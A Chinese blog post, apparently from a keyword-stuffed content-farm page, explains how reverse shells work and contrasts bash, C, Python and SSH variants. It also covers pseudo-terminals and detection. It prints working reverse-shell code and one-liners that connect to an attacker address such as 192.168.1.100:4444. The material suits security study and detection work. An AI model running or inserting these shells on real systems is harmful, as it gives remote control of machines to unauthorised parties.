当前位置: 首页 > news >正文

北京做网站费用做个网站要多久

北京做网站费用,做个网站要多久,手机上什么网站,网站建设策划书的要求反弹 Shell 技术详解 一、前置知识 反弹 shell(Reverse Shell)是一种技术,攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下,反弹 shell 会将标准输入(stdin)、标准输出(…

反弹 Shell 技术详解

一、前置知识

反弹 shell(Reverse Shell)是一种技术,攻击者利用它可以在远程主机上获得一个交互式的命令行接口。通常情况下,反弹 shell 会将标准输入(stdin)、标准输出(stdout)和标准错误(stderr)重定向到网络套接字(socket),以便在远程主机上执行命令并接收结果。攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到控制受害服务器的目的。

二、反弹 Shell 的基本原理

1. 典型反弹 Shell 的原理

在典型的反弹 shell 中,攻击者会创建一个套接字(socket),并将其绑定到标准输入、输出和错误的文件描述符(0, 1, 2)。这样做的目的是让所有用户输入、程序输出和错误信息都通过这个套接字传输到远程服务器。

2. 文件描述符重定向

为了实现反弹 shell,一般需要以下几个步骤:

  • 创建一个套接字 并连接到远程服务器。
  • 使用 dup2() 系统调用将 标准输入(0)、标准输出(1)和标准错误(2)重定向到该套接字。
  • 执行一个新的 shell(如 /bin/sh/bin/bash),使得新启动的 shell 使用这些重定向的文件描述符。

C 语言实现示例:

int main() {int sockfd;struct sockaddr_in server_addr;// 创建套接字sockfd = socket(AF_INET, SOCK_STREAM, 0);if (sockfd < 0) {perror("Socket creation failed");return -1;}// 设置服务器地址server_addr.sin_family = AF_INET;server_addr.sin_port = htons(4444);  // 目标端口inet_pton(AF_INET, "192.168.1.100", &server_addr.sin_addr);  // 目标IP地址// 连接到服务器if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {perror("Connection failed");return -1;}// 将标准输入、输出和错误重定向到套接字dup2(sockfd, 0);  // stdindup2(sockfd, 1);  // stdoutdup2(sockfd, 2);  // stderr// 执行新的 shellexecve("/bin/sh", NULL, NULL);close(sockfd);return 0;
}

3. 关于文件描述符 0 1 2 的使用

并不是所有的反弹 shell 实现都严格使用文件描述符 0, 1, 2 指向套接字。虽然这是最常见的方式,但也有其他方法可以实现类似的效果:

  • 直接使用套接字文件描述符

    bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
    
  • 使用其他文件描述符

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    dup2(sockfd, 10);  // 使用文件描述符 10 作为输出
    dup2(sockfd, 11);  // 使用文件描述符 11 作为输入
    dup2(sockfd, 12);  // 使用文件描述符 12 作为错误
    
  • 使用管道或者命名管道
    复杂的反弹 shell 实现可能会使用管道(pipe)或命名管道(FIFO)来实现数据的传递,而不是直接使用套接字文件描述符。

三、几种常见的反弹 Shell 的实现方式对比

使用 Bash 实现反弹 Shell

工作机制

Bash 是一个 Unix shell 和命令语言,广泛用于脚本编写和命令行操作。可以直接使用 Bash 内置功能来创建一个连接到远程服务器的交互式 shell。

文件描述符处理
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
  • 0 (stdin): 标准输入被重定向到 /dev/tcp/192.168.1.100/4444
  • 1 (stdout): 标准输出被重定向到 /dev/tcp/192.168.1.100/4444
  • 2 (stderr): 标准错误被重定向到 /dev/tcp/192.168.1.100/4444

基于网络套接字 Socket 的反弹 Shell 实现

示例代码【Python】
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))
os.dup2(s.fileno(), 0)  # 将标准输入重定向到套接字
os.dup2(s.fileno(), 1)  # 将标准输出重定向到套接字
os.dup2(s.fileno(), 2)  # 将标准错误重定向到套接字
subprocess.call(["/bin/sh", "-i"])  # 启动交互式 Bash shell

基于 SSH 的反弹 Shell 实现

示例代码【SSH】
ssh -R 4444:localhost:22 user@remote_server "bash -i >& /dev/tcp/localhost/4444 0>&1"

命令解释如下:

  • ssh -R:启用 ssh 远程端口转发功能,远端服务器的该端口流量转发到本地(远端启用端口给本地的操作机用)
  • -R 4444:localhost:22:在远程服务器上打开端口 4444,并将其转发到本地的 SSH 端口 22
  • user@remote_server:指定远程服务器的用户名和地址
  • "bash -i >& /dev/tcp/localhost/4444 0>&1":在远程服务器上启动一个交互式 Bash shell,并将其标准输入、输出和错误重定向到本地的 4444 端口。

其他反弹方式

  • 基于各种编程语言实现,原理和上述雷同
  • 基于各种第三方工具实现,原理上述相同
  • 复杂的反弹 shell 语句,结合各种管道(包括命名管道),伪终端中转和内存文件实现等

其他知识补充

伪终端

伪终端是指在 Linux 系统中,由终端模拟器创建的一对字符设备,包括一个 master 端和一个 slave 端。

设备类型
  • master 端:位于用户态,对应一个文件描述符,用于与终端模拟器(如终端窗口)交互。
  • slave 端:位于 /dev/pts/ 目录下的一个文件,用于与运行在虚拟终端上的程序交互。
功能与作用
  • 数据转发:伪终端驱动程序负责将 master 端的输入数据转发给 slave 端,反之亦然。例如,用户在终端窗口中输入的命令通过 master 端传送给 shell,shell 的输出则通过 slave 端返回给终端窗口显示。
  • 虚拟化:允许在图形界面或远程连接中模拟实际终端的行为,使得程序能够像在真实终端上运行一样,处理键盘输入和屏幕输出。
应用场景
  • 图形界面终端:如 xterm、gnome-terminal 等,通过伪终端实现用户与 shell 的交互。
  • 远程 shell:如 ssh 连接,客户端和服务器之间通过伪终端中继输入和输出。
  • 多路复用器:如 screen 和 tmux,通过伪终端实现会话的多路复用和切换。
技术实现
  • 创建伪终端:通过打开 /dev/ptmx 文件,系统会生成一个新的伪终端对,包括一个 master 和一个 slave 设备。
  • 文件描述符:master 端是一个文件描述符,而 slave 端是一个 /dev/pts/nn 文件,nn 是一个数字,表示特定的伪终端。
与终端的区别
  • 终端(tty):是物理设备或虚拟控制台,如 tty1-6,直接连接到键盘和显示器。
  • 伪终端(pty):是软件模拟的虚拟终端,用于图形界面或远程连接,提供与终端相似的功能。
安全性与检测

在反弹 Shell 的上下文中,伪终端可以被用来重定向 shell 的输入输出到网络连接,从而实现远程控制。例如,通过 bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1 命令,可以将 shell 的输入输出重定向到指定的 TCP 地址,实现反弹 Shell 的功能。这种行为在安全检测中可能被视为异常,因为它绕过了正常的输入输出路径。


by 久违
好久没写了,抽空梳理点基础知识

http://www.yayakq.cn/news/751743/

相关文章:

  • 山东建设信息网站济南做网站建设
  • 建站之星做网站网页设计中文本居中用什么代码
  • 做商城网站建设哪家好wordpress速度慢啊
  • html5商城网站模板今天最新新闻国内大事件
  • 广州哪家做网站还可以广东东莞企业招聘网最新招聘
  • 安装网站程序的流程广告设计接单网站
  • 中关村在线网站的建设阿里云云栖wordpress
  • 西北苗木网陕西泽基生态建设有限公司网站泉州微信网站开发公司
  • 做网站预付款 怎么做账奉贤庄行网站建设
  • 做竞价网站教做美食网站源码
  • 免费网站模版下载软件前端开发
  • 网站设计是什么意思南宁seo渠道哪家好
  • 做图书馆网站模板wordpress未登录用户重定向
  • 甘肃省建设监理协会 官方网站江苏建设考试培训网
  • 湘西做网站县区组织部12380网站建设
  • 南京科技网站设计多少钱北国网
  • 中英文双语企业网站深圳市企业网站建设哪家好
  • 做招聘网站怎么运作自己做视频网站怎么让加载速度变快
  • 公司网站内容更新该怎么做用凡科做网站的费用
  • 公司网站制作哪个公司好哪个网站用户体验较好
  • 北京做网站电话的公司东莞企业网站推广怎么做
  • 哪些经营范围可以开网站建设费用建设商城网站公司 百度百科
  • wap开头的网站全国建设网站图片
  • wap网站开发流程保定网站定制公司
  • iis网站在点默认文档的时候报错.青海移动端网页设计
  • 建设苏州旅游网站的方案策划书北京装修公司一览表
  • 访问阿里云主机网站自己建设网站需要些什么
  • 中国建设信用卡网站网页制作人员的工作内容
  • 网站网址有哪些网站服务器租用4t多少钱一年啊知乎
  • 医院网站改版建设方案装饰公司排名